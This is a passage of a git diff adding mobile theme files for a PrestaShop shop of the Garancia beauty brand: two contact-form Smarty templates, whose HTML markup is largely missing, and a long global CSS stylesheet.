        + \ No newline at end of file diff --git a/themes/default/_mobile/contact-form.tpl b/themes/default/_mobile/contact-form.tpl new file mode 100755 index 0000000..fc7cbbc --- /dev/null +++ b/themes/default/_mobile/contact-form.tpl @@ -0,0 +1,165 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{* *} + +{capture name=path}{l s='Contact'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Contact'}]

        +{if isset($confirmation)} +
        {l s='Your message has been successfully sent to our team.'} +
        {l s='Nous vous répondrons dans les plus brefs délais.'}
        +{elseif isset($alreadySent)} +
        {l s='Your message has already been sent.'}
        +{/if} + + {*
        {l s='For questions about an order or for more information about our products'}.
        *} + {include file="$tpl_dir./errors.tpl"} +
        +
        +
        + + {if isset($customerThread.id_contact)} + {foreach from=$contacts item=contact} + {if $contact.id_contact == $customerThread.id_contact} + + + {/if} + {/foreach} +
        + {else} + +
        + {/if} +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + {if isset($customerThread.email)} + + {else} + + {/if} +
        +
        + + +
        +
        + {l s='* Champ obligatoire'} +
        +
        + +
        +
        + {l s='Conformément à la loi informatique et libertés du 6.01.78, vous disposez d\'un droit d\'accès, de rectification et de suppression des informations vous concernant utilisées exclusivement par GARANCIA que vous pouvez exercer à tout moment en nous adresse un courrier ou un e-mail.'} +
        +
        + +
        + + +
        +
        +
        +
        {l s='Demande d\'échantillons'}
        +
        {l s='Devant les fortes demandes d\'échantillons, nous vous invitons à vous rendre dans vos points de vente habituels qui pourront vous remettre des échantillons adaptés à votre type de peau.'}
        +
        +
        +
        {l s='Recrutement / RH'}
        +
        {l s='Nous sommes en perpétuelles recherche de talents. Vous pouvez nous envoyer par email votre candidature spontannée pour :'} +
        +
        {l s='Un emploi'} : recrutement-rh@garancia-beauty.com +
        {l s='Un stage'} : stage@garancia-beauty.com +
        +
        +
        +
        {l s='Nous écrire'}
        +
        {l s='Laboratoire Garancia'} +
        {l s='18 Avenue du Recteur Poincaré'} +
        {l s='75016 Paris'} +
        +
        +
        \ No newline at end of file diff --git a/themes/default/_mobile/contact-form2.tpl b/themes/default/_mobile/contact-form2.tpl new file mode 100755 index 0000000..6c43535 --- /dev/null +++ b/themes/default/_mobile/contact-form2.tpl @@ -0,0 +1,108 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Contact'}{/capture} +{include file='./page-title.tpl'} + +
        +

        {l s='For questions about an order or for more information about our products'}.

        + {include file="./errors.tpl"} +
        + {if isset($customerThread.id_contact)} + {foreach from=$contacts item=contact} + {if $contact.id_contact == $customerThread.id_contact} + + + {/if} + {/foreach} + {else} + + +

         

        + {foreach from=$contacts item=contact} + + {/foreach} + {/if} + +
        + {if isset($customerThread.email)} + + {else} + + {/if} +
        + + {if !$PS_CATALOG_MODE} + {if (!isset($customerThread.id_order) || $customerThread.id_order > 0)} +
        + {if !isset($customerThread.id_order) && isset($isLogged) && $isLogged == 1} + + {elseif !isset($customerThread.id_order) && !isset($isLogged)} + + {elseif $customerThread.id_order > 0} + + {/if} +
        + {/if} + {if isset($isLogged) && $isLogged} +
        + + {if !isset($customerThread.id_product)} + {foreach from=$orderedProductList key=id_order item=products name=products} + + {/foreach} + {elseif $customerThread.id_product > 0} + + {/if} +
        + {/if} + {/if} + +
        + +
        + +
        + +
        +
        + + {include file='./sitemap.tpl'} +
        \ No newline at end of file diff --git a/themes/default/_mobile/css/global.css b/themes/default/_mobile/css/global.css new file mode 100755 index 0000000..c1f0b04 --- /dev/null +++ b/themes/default/_mobile/css/global.css @@ -0,0 +1,5347 @@ +.op05 { + opacity: 0.5 !important; +} + +/* ################################################################################################ + GLOBAL +################################################################################################ */ +#hook_mobile_top_site_map { + margin-top:5px; +} + +.center { + text-align:center; +} + +.right { + text-align:right; +} + +.qty-field { + width:50px!important; +} + +.hide { + display:none; +} + +.fl { + float:left; +} + +.clear { + clear:both; +} + +.width-15 { + width:15%; +} + +.width-20 { + width:20%; +} + +.width-40 { + width:40%; +} + +.width-60 { + width:60%; +} + +.width-70 { + width:70%; +} + +.width-100 { + width:100%; +} + +.padding-left-5px { + padding-left:5px; +} + +.margin-bottom-10px { + margin-bottom:10px; +} + +.ui-btn-up-a .ui-btn-text:visited,.ui-btn-hover-a .ui-btn-text:visited,.ui-btn-down-a .ui-btn-text:visited,.ui-btn-hover-a .ui-btn-text:hover,.ui-btn-up-a .ui-btn-text:hover,.ui-btn-down-a .ui-btn-text:hover,.ui-btn-hover-a .ui-btn-text,.ui-btn-down-a .ui-btn-text,.ui-btn-up-a .ui-btn-text { + color:#fff; +} + +.to_delete { + background-color:red; + color:#fff; + font-size:12pt; + text-shadow:none; + padding:5px; +} + +/* JQUERY MOBILE */ +.ui-content { + overflow-y:hidden; + background:none !important; +} + +.ui-page > .ui-content { + /*padding:15px !important;*/ +} + +section .ui-content { + padding:0!important; +} + +.ui-header .ui-title,.ui-footer .ui-title { + margin:.5em 20px .8em; + font-size:20px; + text-align:left; +} + +.ui-icon-prestashop-pdf { + background:url(../..g/icon/pdf.gif) no-repeat; +} + +.ui-mobile fieldset { + margin-bottom:15px; + border:none; + width:100%; +} + +.ui-field-contain { + padding:0; +} + +.ui-content .ui-listview { + margin:0; +} + +.ui-input-search .ui-input-clear { + right:5px; +} + +label.ui-select { + top:5px; + vertical-align:top; +} + +/*.ui-controlgroup-horizontal .ui-select {margin:-5px 0 0 0}*/ +.required.bold,.required sup { + color:#900; + font-weight:700; +} + +.warning { + margin:10px 0; + padding:10px; + border:1px solid #E6DB55; + font-size:13px; + background:#ffffe0; +} + +.error-box,.error { + margin:10px 0; + padding:10px; + border:1px solid red; + font-size:13px; + background:#ffb6c1; +} + +.error-box ol,.error ol { + margin:0; + padding:0 50px; +} + +.ui-listview p,.ui-listview h3 { + padding:0; +} + +.ui-listview p { + margin-top:-.5em; +} + +.without-margin { + margin:0; +} + +.without-padding { + padding:0; +} + +/* title *************************************************************************************** */ +h1 { + font-size:20px; +} + +h2 { + margin:0 0 .6em; + font-size:18px; +} + +h3 { + padding-bottom:14px; + font-size:16px; +} + +h4 { + font-size:14px; +} + +/* text **************************************************************************************** */ +p { + padding-bottom:10px; + font-size:18px; + margin:0; +} + +.txt-center { + text-align:center; +} + +/* link **************************************************************************************** */ +a,a:active,a:visited { + color:#333; + text-decoration:none; + outline:none; +} + +/* errors box ************************************************************************************* */ +.error-box { + display:block; + background-color:#FFB200; + background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0.0,#ffd573),color-stop(1,#FEEFB3)); + background-image:-o-linear-gradient(top,#ffd573,#FEEFB3); + background-image:-moz-linear-gradient(center top,#ffd573 0%,#FEEFB3 100%); + border:1px solid #9E6014; + opacity:.96; + position:fixed; + top:100px; + font-family:arial,sans-serif; + width:80%; + left:10%; + padding:20px 10px; + -moz-border-radius:.6em; + -webkit-border-radius:.6em; + border-radius:.6em; + color:#9E6014; + z-index:1000; +} + +.error-box ol { + margin:0; + padding:0; +} + +.error-box .close-bt { + position:absolute; + top:5px; + right:10px; +} + +/* form **************************************************************************************** */ +.ui-mobile fieldset { + margin:0 0 15px; +} + +hr { + margin:30px 0 10px; +} + +hr.margin_bottom { + margin:10px 0 30px; +} + +hr.margin_less { + margin:10px 0; +} + +.clearfix:before,.clearfix:after { + content:"."; + display:block; + height:0; + overflow:hidden; +} + +.clearfix:after { + clear:both; +} + +.clearfix { + zoom:1; +} + +.ui-br { + border:none; +} + + +/* PAGINATION */ +.pagination { + position:relative; + margin:5px 0; + text-align:center; +} + +ul.pagination_mobile { + float:right; +} + +.pagination_mobile li { + float:left; +} + +.pagination_mobile .disabled,.pagination_mobile .disabled .ui-btn-inner { + background-color:#DDD; + color:#aaa; + cursor:default; +} + +.pagination_mobile .current .ui-btn { + cursor:default; +} + +.pagination_mobile .current .ui-btn-down-c { + color:#fff; +} + +.pagination_mobile .disabled .ui-btn-inner { + border-top:1px solid #ddd; +} + +.pagination_mobile .ui-btn-inner { + padding:.6em 10px; + font-size:80%; +} + +.pagination_mobile .pagination_next .ui-btn-inner { + padding:.6em 35px .6em 10px; +} + +.pagination_mobile .pagination_previous .ui-btn-inner { + padding:.6em 10px .6em 35px; +} + +.pagination ul { + margin:2px 0 0; + padding:0; + list-style-type:none; +} + +.pagination li { + display:inline-block; +} + +/*.pagination li a, + .pagination li.active { + display:inline-block; + padding:2px 10px; + color:#666 !important; + text-decoration:none; + border:1px solid #ccc; + }*/ +.pagination li.active { +} + +.pagination li a:hover { +} + +.pagination .btnnprevious { + position:absolute; + top:2px; + left:5px; + height:26px; + width:26px; + text-indent:-5000px; + background:#333; +} + +.pagination .btnnext { + position:absolute; + top:2px; + right:5px; + height:26px; + width:26px; + text-indent:-5000px; + background:#333; +} + +/* button */ +.button_next { + float:right; +} + +/* check form */ +.valid { + border:1px solid green; +} + +.invalid { + border:1px solid red; +} + +#account-creation_form p.select .ui-select .ui-icon { + background:none; +} + +/* ################################################################################################ + HEADER +################################################################################################ */ +/*#header { + position:relative; + height:122px; + font-weight:normal !important; + font-size:10pt; + color:#333; + text-shadow:none; + border:0 !important; + background:none !important; +} + #header a { + color:#333; + text-decoration:none; + } + + #logo { + position:absolute; + top:0; + left:0; + z-index:10; + } + + .shoppingbag { + margin:10px 0 2px 0; + padding:2px 5px 4px 5px; + color:#fff; + background:#383838; + } + .shoppingbag a {color:#fff !important;} + .shoppingbag span { + font-size:8pt + } + .quicklink { + margin:5px 0; + padding:0 5px; + } + .login { + margin:25px 0; + padding:0 5px; + font-size:8pt; + }*/ +/* HEADER */ +#header { + /*padding-bottom:10px;*/ + border:0; +} + +#header .ui-block-a img { + display:block; + margin:10px; +} + +/* NAVBAR TOP */ +.navbartop { + height:42px; + background:#383838; +} + +.navbarcontent { + height:32px; + background:#ccc; +} + +.navbarcontent h3 { + margin:0; +} + +.navbartop .btnopen { + text-indent:-5000px; +} + +.link_cart { + background:url(../img/img_cart.png) 0 2px no-repeat; + padding:5px 5px 5px 30px; + text-decoration:none; + float:right; +} + +.link_account { + background:url(../img/icon/my-account.png) 0 5px no-repeat; + padding:5px 5px 5px 20px; + text-decoration:none; + float:right; +} + +.input_search { + margin:0 10px 10px 0; + text-align:right; +} + +#block_cart { + margin:10px; +} + +/* ################################################################################################ + CONTENT +################################################################################################ */ + + +/* ################################################################################################ + FOOTER +################################################################################################ */ +#footer { + background:#000; + width:640px; + margin:60px 0 0px; + padding:50px 0 110px; + border-top:1px solid #2a2a2a; +} + +#newsletter { + margin:0 auto; + width:96%; +} + +#newsletter .ui-field-contain label.ui-input-text { + width:auto; +} + +/*#newsletter .ui-btn { + position:relative; + top:8px; +}*/ +h2.site_map { + text-align:center; +} + +#lnk_footer { + margin:0 auto; + padding:2%; + background:#ddd; +} + +#lnk_footer li .ui-btn { + display:inline-block; + text-align:left!important; +} + +#lnk_footer .ui-btn-up-a,#lnk_footer .ui-btn-hover-a { + color:#333; + text-shadow:none!important; + border:none!important; + background:none!important; +} + +#lnk_footer .ui-btn-hover-a { + text-decoration:underline; +} + +#lnk_footer .ui-btn-inner { + padding:2px!important; + border:0; +} + +#footer .ui-field-contain { + text-align:center; +} + +#account_link { + text-align:center; + padding:10px 0; +} + +#account_link .ui-block-a { + width:46%; + padding:0 2%; + text-align:right; +} + +#account_link .ui-block-b { + width:46%; + padding:0 2%; + text-align:left; +} + +#bar_footer { + margin:0px 0 0; + display:none; +} + +#link_bar_footer { + padding:15px 0; +} + +#link_bar_footer .ui-block-a { + width:46%; + padding:0 2%; +} + +#link_bar_footer .ui-block-b { + width:46%; + padding:0 2%; + text-align:right; +} + +.ui-body-c #footer #account_link .ui-link { + color:#333!important; +} + +.ui-body-c #footer #link_bar_footer .ui-link { + color:#fff!important; +} + +/* ################################################################################################ + HOMEPAGE +################################################################################################ */ +#slider { + margin:0 0 10px; +} + +#highlight { + margin:0 0 10px; +} + +#category { + /*margin:0 0 10px;*/ +} + +/* ################################################################################################ + CATEGORY +################################################################################################ */ +#category h1 { + text-align:left; +} + +#category .container-sort { + float:right; +} + +#category .container-sort-bottom { + float:left; +} + +#category-list .ui-li-thumb { + float:none; + position:relative; +} + +#category-list .ui-block-a .ui-btn-inner { + border-right:1px solid #ccc; +} + +#category-list .ui-li-heading { + height:45px; + white-space:normal; +} + +#category-list .ui-li-price { + text-align:right; + color:#900; + font-size:12pt; + font-weight:700; +} + +#category-list .ui-li-price-info { + text-align:right; + font-size:7pt; + text-transform:uppercase; +} + +#category-list .ui-li-price-info span { + display:inline-block; +} + +#category-list .ui-li-price-info.discount span { + background-color:#9B0000; + color:#fff; + text-shadow:none; +} + +#category-list .ui-btn-icon-right .ui-icon { + display:none; +} + +.product-list-row { + margin-right:0!important; + margin-left:0!important; +} + +/* ################################################################################################ + CART +################################################################################################ */ +.price_on_accordion_cart { + position:fixed; + right:30px; + padding:4px; + background:red; + border-radius:50%; +} + +.accordeon_cart .test { + margin:0; +} + +.accordeon_cart div.ui-collapsible-content { + margin:0; +} + +.information_details_cart p { + margin-top:10px; +} + +.total_price .ui-bar h3 { + display:block; + text-align:right; +} + +.cart_total_bar h3 { + margin:0 0 10px; +} + +.cart_total_bar .btn-row { + text-align:right; +} + +.cart_total_bar .ui-btn { + margin:10px 0 0; + display:inline-block; +} + +.total_price p { + margin:5px 0; + font-size:12px; + text-align:right; +} + +.cart img.img_product_cart { + margin-top:.7em; + border-radius:0; +} + +.ui-controlgroup.grouped_buttons_card,fieldset.ui-controlgroup.grouped_buttons_card { + margin:0; +} + +.grouped_buttons_card,.display_block_card_product { + text-align:center; + margin-top:10px; +} + +/* ################################################################################################ + PRODUCT +################################################################################################ */ +/* .second_container{ + float: left; + margin-top:0; + margin:0 1%; + padding:0 1%; + width: 96%; + text-align:center + } + .first_container{ + margin:0 1%; + padding:0 1%; + width:96%; + float:left; + text-align:center +}*/ +.category_desc { + margin:0 0 10px; + padding:10px 5px; + border:1px solid #ccc; + box-shadow:1px 1px 2px #ccc; + -moz-border-radius:5px; + -webkit-border-radius:5px; + border-radius:5px; +} + +.category_desc p { + margin:0; + padding:0; +} + +.category_desc .hide_desc { + display:none; +} + +.category_desc .lnk_more { + float:right; +} + +.category_desc .lnk_more .ui-btn-inner { + font-size:80%; + padding:.4em 10px .4em 33px; +} + +#product_title h1 { + width:62%; + margin-left:5%; + float:left; +} + +#product_title span { + width:25%; + margin:14px 3% 10px 5%; + font-size:20px; + font-weight:700; + text-align:right; + float:left; +} + +.product_img_wrapper { + text-align:center; +} + +.product_img_wrapper img { + width:95%; + max-width:none; + max-height:none; + margin:0; +} + +#attributes-1 .ui-select { + float:left; +} + +#select_attributes .ui-select { + float:left; +} + +.product_page { + text-align:center; +} + +.description { + text-align:left; +} + +.quantite { + text-align:left; +} + +.img_product { + margin:0 auto; +} + +.img_product_list { + margin:0 auto; +} + +.view_product { + background:#fff; +} + +.view_product .view_full_size { + text-align:center; +} + +.view_product .thumbs_list_frame { + list-style-type:none; +} + +.view_product .thumbs_list_frame li { + float:left; +} + +.view_product .thumbs_list_frame li img { + margin:0 6px; + border:1px solid #CDCDCD; +} + +.list_view { + text-align:center; +} + +#product_page { + width:100%; +} + +.ui-btn.disabled,.ui-btn.disabled .ui-btn-inner { + background-color:#DDD; + color:#aaa; + cursor:default; +} + +.ui-btn.disabled .ui-btn-inner { + border-top:1px solid #ddd; +} + +.ui-btn.disabled button,.ui-btn.disabled input { + cursor:default; +} + +.ui-btn-hover-c.disabled { + border:1px solid #CCC; +} + +.content_prices .online_only { + font-weight:700; + font-size:10pt; + color:#900; + text-transform:uppercase; + margin:0; + padding:0; +} + +.content_prices .price { + text-align:right; +} + +.content_prices .price .on_sale { + background-color:#F8DC0C; + padding:2px 5px; + font-size:12pt; + border:1px solid #DDA84E; + margin:2px 0; + display:inline-block; +} + +.content_prices .price p { + margin:0; + padding:0; +} + +.content_prices .price .old_price_display { + text-decoration:line-through; + font-size:11pt; +} + +.content_prices .price .old_price .reduction_amount_display,.content_prices .price .old_price .reduction_percent { + background-color:#9B0000; + color:#fff; + text-shadow:none; + padding:0 5px; + margin:0 0 0 5px; + font-weight:700; +} + +.content_prices .price .our_price_display { + color:#900; + font-size:21pt; + font-weight:700; +} + +.content_prices .price .unit-price,.content_prices .price .price-ecotax { + margin:10px 0 0; +} + +#more_info_block ul li { + font-size:9pt; +} + +.accessories_block ul { + list-style-type:none; + margin:0; + padding:0; +} + +.accessories_block li { + background-color:#111; + border-bottom:1px solid #555; + padding:5px; +} + +.accessories_block li.last_item { + border:none; +} + +.accessories_block li .col-left { + word-wrap:break-word; + float:left; +} + +.accessories_block li .col-right { + float:right; + width:100%; + margin:0 0 0 -68px; +} + +.accessories_block li .col-right .inner { + margin:0 0 0 78px; +} + +.accessories_block li .col-right .inner p,.accessories_block li .col-right .inner .s_title_block { + margin:0; + color:#fff; +} + +.accessories_block li .col-right .inner .s_title_block { + font-size:10pt; +} + +.accessories_block li .col-right .inner p { + color:#aaa; +} + +.accessories_block li .price { + text-align:right; + font-size:14pt; + font-weight:700; +} + +.accessories_block li .btn-row { + text-align:right; +} + +/*.third_container{float:left}*/ +/* ################################################################################################ + PRODUCT +################################################################################################ */ +/* ################################################################################################ + 404 +################################################################################################ */ +#not_found { + padding:3%; +} + +.input_search_404 { + text-align:center; +} + +.nbr_result { + position:relative; + top:6px; + font-size:14px; +} + +/* ################################################################################################ + OPC +################################################################################################ */ +h3.bg { + padding:8px; + color:#fff; + background:#666; + text-shadow:0 1px 0 #000!important; +} + +.block { + margin:10px 0; + padding:10px; + border:1px solid #bbb; + background:#dbdbdb; +} + +.block h3 { + margin-top:0; +} + +ul.adress { + list-style-type:none; + margin:0; + padding:0 0 0 10px; +} + +#cart { +} + +#cart h3 { + margin:0; + padding:0; +} + +#cart input { + margin:5px 0; +} + +#cart .ui-li-desc { + margin:0; +} + +#voucher { +} + +#voucher h3 { + margin:0; +} + +#cart_price .ui-btn-up-c { + border:none; + background:none; +} + +.lnk_CGV { + padding:0; +} + +/* ################################################################################################ + LOGIN +################################################################################################ */ +.login_form .submit_button { + float:right; +} + +.login_form .forget_pwd { + margin:5px 0 0; + padding:0; + font-size:.8em; +} + +.login_form .ui-btn { + float:right; +} + +/* ################################################################################################ + CATEGORY +################################################################################################ */ +#category-list li a { + position:relative; +} + +#category-list li .ui-li-desc { + padding:0; + margin:0; +} + +#category-list li .ui-li-price-info span { + padding:2px 5px; +} + +.new { + position:absolute; + top:17px; + right:-22px; + margin:0; + padding:2px 0; + width:100px; + text-align:center; + background-color:rgba(162,29,28,0.9); + -moz-transform:rotate(45deg); + -webkit-transform:rotate(45deg); + -o-transform:rotate(45deg); + color:#fff; + text-shadow:none; + text-transform:uppercase; + font-size:8pt; +} + +#category-list .online_only { + position:absolute; + margin:0; + padding:0; + top:32px; + right:-29px; + margin:0; + padding:2px 0; + width:142px; + text-align:center; + background-color:rgba(0,0,0,0.5); + -moz-transform:rotate(45deg); + -webkit-transform:rotate(45deg); + -o-transform:rotate(45deg); + text-shadow:none; + text-transform:uppercase; + font-size:8pt; + color:#fff; +} + +/* ################################################################################################ + MY ACCOUNT +################################################################################################ */ +#list_myaccount .ui-li-icon { + top:.7em; +} + +.lnk_my-account_home { + display:block; + padding:20px 0 0; +} + +/* ################################################################################################ + LAYERED +################################################################################################ */ +#layered { +} + +#layered h3 { + margin:30px 0 0; +} + +#layered .color-option { + margin-left:0; + margin-right:5px; + padding:0; + height:16px; + display:inline-block; + width:16px; + border:1px solid #666; +} + +/* ################################################################################################ + Manufacturer +################################################################################################ */ +.nbrmanufacturer { + margin:15px 0 10px; + padding:8px 7px; + font-size:12px; + color:#000; + background:none repeat scroll 0 0 #ddd; +} + +/* ################################################################################################ + STORES +################################################################################################ */ +#stores_search_block { + margin-top:20px; + padding-left:10px; +} + +.stores_block { + margin-top:25px; + display:none; +} + +.stores_block .ui-listview span.image { + display:table-cell; + position:absolute; + left:0; + top:0; + vertical-align:middle; + width:80px; + height:80px; +} + +.stores_block .ui-listview span img { + position:relative; + display:inline; + vertical-align:middle; +} +#full-site-section{ + float:left; + margin:-20px 0 0 0; +} +#full-site-section a { + font-weight:400; + font-size:12px; +} + +#authentication #account-creation_form p.select label { + display:inline; + font-size:16px; + font-weight:400; + line-height:1.4; + margin:0 0 .3em; + padding:0; +} + +#authentication #account-creation_form div.ui-radio label span { + text-align:center; +} + +html{background:#000000;} +body,body.ui-mobile-viewport{width:640px;margin:0 auto;position:relative;} +#cart_block{display:none;} +body .ui-grid-a{background:#000000;} +body .ui-body-c, +body .ui-overlay-c { + text-shadow: 0!important; +} + +/* userinfo.css */ +.hidden{display:none;} +#header_right { + background: url("../img/headerInfosMobile.png") no-repeat scroll 0 20px transparent; + display:block; + margin:0 auto; + margin:0px 0 30px; + width:626px; + height: 37px; + line-height: 37px; + position:relative; + z-index: 2; + padding-top:20px; +} +#header_user{ + float:left; + min-width:220px; + height: 37px; + line-height: 37px; + margin-top:0; +} +#header_user ul{ + list-style:none; + margin:0; + height: 37px; + line-height: 37px; + padding:0; +} +#header_user li{ + padding:0 ; + height: 37px; + line-height: 37px; + float:left; +} +#header_user li#shopping_cart{ + width:223px; + text-align:center; +} +#header_user a{ + display:block; + color:#fafafa; + font-size:14px; + height: 29px; + line-height: 29px; + margin:2px 0 0; + text-transform:uppercase; + font-weight:normal; + border-right:1px solid #3d422a; +} +#header_user a span{ + text-transform:none; +} +#header_user img{ + vertical-align:-1px; +} +#header_user a span{ + /*color:#c0db42; + text-transform:none;*/ +} +/* +#header_user p{padding:0;} +#header_user p a{ + position:absolute; + top:50px; + right:12px; + width:auto; + line-height:14px; + height:14px; + color:#b2b2b2; + font-size:8px; + text-transform:uppercase; + padding:0 4px 0 12px; + background:#323232 url('../../img/flecheGrise.png') no-repeat 4px center; +} +*/ +#header_nav .newsletter{display:none;} + +/* languages */ +/* block top languages */ +#header_right #languages_block_top { + float:right; + width:183px; + line-height:37px; + height:37px; + position:relative; +} +#header_right #languages_block_top p { + display:block; + color:#fafafa; + font-size:14px; + height: 29px; + line-height: 29px; + margin:2px 0 0; + text-transform:uppercase; + font-weight:normal; + text-align:center; + border-left:1px solid #3d422a; + +} +#languages_block_top ul#first-languages li {} +#languages_block_top ul#first-languages li.selected_language {} +/*languages with jquery*/ +#countries { + cursor: pointer; + position: relative; + top: 1px; +} +#countries p { + position: relative; + top: 0; + padding: 0; +} +#countries p img { + padding-left: 5px; + vertical-align:-1px; +} +#countries .countries_ul{ + display:none; + z-index: 10000; + padding:10px; + list-style-type:none; +} +#countries .countries_ul_hover, +#countries:hover ul{ + display: block; + height: auto; + padding: 1px 10px; + position: absolute; + left: 50px; + top:25px; + margin:0; + padding:0; + width: 100px; + z-index: 5000; +} +#languages_block_top ul#first-languages li{ + display:inline; + float:none; + width:auto; + margin:0 10px 0 0; +} + + +#ou_nous_trouver_top{ + width:210px; + float:left; + text-align:center; + height: 34px; + line-height: 34px; +} +#ou_nous_trouver_top a{ + width:210px; + float:left; + text-align:center; + text-transform:uppercase; + display:block; + font-size:14px; + height: 29px; + line-height: 29px; + color:#bfda3f; + margin:2px 0 0; +} +#logoTop{ + padding:0 0 30px; +} + +/* MENU */ +#header .sf-contener{ + clear:both; + height:70px; + padding:0 0 5px 0; + line-height:25px; +} +#header .sf-contener ul{ + margin:0; + padding:0; + height:70px; +} +#header .sf-contener li{ + float:left; + width:128px; + margin:0; + padding:0; + line-height:25px; + list-style:none; + text-align:center; + position:relative; +} + +#header .sf-contener li:first-child{ + padding:0 5px; + width:118px; +} +#header .sf-contener li a{ + line-height:25px; + font-size:15px; + display:block; + color:#ffffff; + text-transform:uppercase; + padding:10px 0; +} +#header .sf-contener li:last-child{ + display:none; +} +@media (max-width:700px){ + #header .sf-contener li{ + float:left; + width:105px; + margin:0; + padding:0; + line-height:25px; + list-style:none; + text-align:center; + position:relative; + } + #header .sf-contener li:first-child{ + width:118px; + padding:0px !important; + } + li.nosProduits{ + padding:0px !important; + } +} +#header .ui-grid-a{overflow:visible} +#homeslider{margin:0;padding:0;} +.bx-wrapper .bx-next, +.bx-wrapper .bx-prev{ + height:225px; +} +.center{text-align:center;} + +#homeslider li{position:relative;} +.homeTxt{ + position:relative; + width:513px; + height:235px; + padding:44px 62px 36px 65px; + background:url('../img/homeTxt.png') no-repeat 0 0; +} +.homeTxt a, +.homeTxt span{ + color:#000000; + display:block; + text-align:center; +} +.homeTxt .bloc1{ + height:90px; +} +.homeTxt .title{ + text-transform:uppercase; + font-size:50px; + line-height:50px; + font-family:Times New Roman; +} +.homeTxt .subtitle{ + font-size:32px; + line-height:32px; + font-family:Times New Roman; +} +.homeTxt .description{ + text-transform:uppercase; + font-size:18px; + font-family:Times New Roman; + padding:0 40px 20px; + line-height:26px; +} +body .homeTxt a.legende{ + width:481px; + height:47px; + line-height:47px; + background:url('../img/homeTxtA.png') no-repeat 0 0; + margin:0 auto; + display:block; + font-size:12px; + color:#000000!important; + font-size:18px; + text-transform:uppercase; +} + .homeTxt a.legende:hover{ + text-decoration:none; + background:url('../img/homeTxtA.png') no-repeat 0 -47px; +} + + +body #devspehomeblocks{ + width:640px; + padding:0; + margin:80px auto 0; +} +body #devspehomeblocks li{ + background:#000000; + margin:0 0 80px; + border:1px solid #303030; + padding:0; + width:auto; + display:block; + float:none; + height:229px; +} + +body #devspehomeblocks li .title{ + font-size:30px; + padding:24px 8px 16px; +} +body #devspehomeblocks li .subtitle{ + font-size:20px; +} +body #devspehomeblocks li .description{ + font-size:16px; + line-height:24px; + padding:0 20px 0 0; +} +body #devspehomeblocks li.alternate { + background: url("../img/homeblock2.png") no-repeat scroll right -1px transparent; + color: #000000; + border:0; + margin:0; +} +body #devspehomeblocks li img{ + height:230px; + margin:0px 33px 0 0px; +} + +body #devspehomeblocks li a.legende{ + top:163px; + width:160px; + height:37px; + line-height:37px; + font-size:16px; + color:#000000; + text-transform:uppercase; + padding:2px 30px 1px 24px; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A; + left:263px!important; +} +body #devspehomeblocks li.alternate a.legende{ + top:163px; + height:37px; + line-height:37px; + color:#ffffff; + background:url("../img/homeblockFleche2.png") no-repeat scroll right center transparent; +} +#footer li{ + list-style:none; + display:inline; + float:none; + margin:0 0 40px; + padding:0 17px; +} + +#footer .liens{ + text-align:center; + padding:0; + margin:0 0 40px; +} +#footer .liens li{ + background:url('../img/footerSpacer.png') no-repeat left center; + padding:0; + margin:0; +} +#footer .liens li:first-child{ + background:none; +} +#footer .liens li.green a { + color: #c5dd50; +} +#footer .liens li a { + color: #cccccc; + font-size: 14px; + padding: 17px; + text-transform:uppercase; +} + + + +#footer #social_block{ + width: 100% !important; + height:46px; + display:block; + text-align: center; + float:none; +} +#footer #social_block ul{ + margin:0; + padding:0; +} +#footer #social_block ul li{margin:0 30px 0 0;} +#footer #social_block ul li:last-child{margin:0;} +#footer #social_block ul li a, +#footer #social_block ul li{ + padding: 0; + border: 0; + float: none; + width: 31px; + height: 31px; + display: inline-block;; +} +#footer #social_block ul li a{background:url('../img/sprite_social.png') no-repeat;} +#footer #social_block ul li.facebook a{background-position:0 0;} +#footer #social_block ul li.facebook:hover a, +#footer #social_block ul li.facebook a:hover{background-position:0 -31px;} +#footer #social_block ul li.twitter a{background-position:-41px 0;} +#footer #social_block ul li.twitter:hover a, +#footer #social_block ul li.twitter a:hover{background-position:-41px -31px;} +#footer #social_block ul li.rss a{background-position:-82px 0;} +#footer #social_block ul li.rss:hover a, +#footer #social_block ul li.rss a:hover{background-position:-82px -31px;} +#footer #social_block ul li.instagram a{background-position:-123px 0;} +#footer #social_block ul li.instagram:hover a, +#footer #social_block ul li.instagram a:hover{background-position:-123px -31px;} + + +/* philosophie */ +.type-interior .borderGreen{ + padding:30px 15px 30px; + border-top:7px solid #b9da1a; + background:#ffffff; + margin:0 0 80px; +} +.type-interior .borderGreen h1{ + color:#000000; + font-size:30px; + line-height:30px; + text-align:center; + margin:0 0 30px; + font-weight:normal; + font-family:Times New Roman; + text-transform:uppercase; +} +.leftCol{clear:both;} +#philosophie .leftCol img{float:left;margin:0 30px 0 0;} +.leftCol h2{ + font-size:11px; + font-weight:bold; + 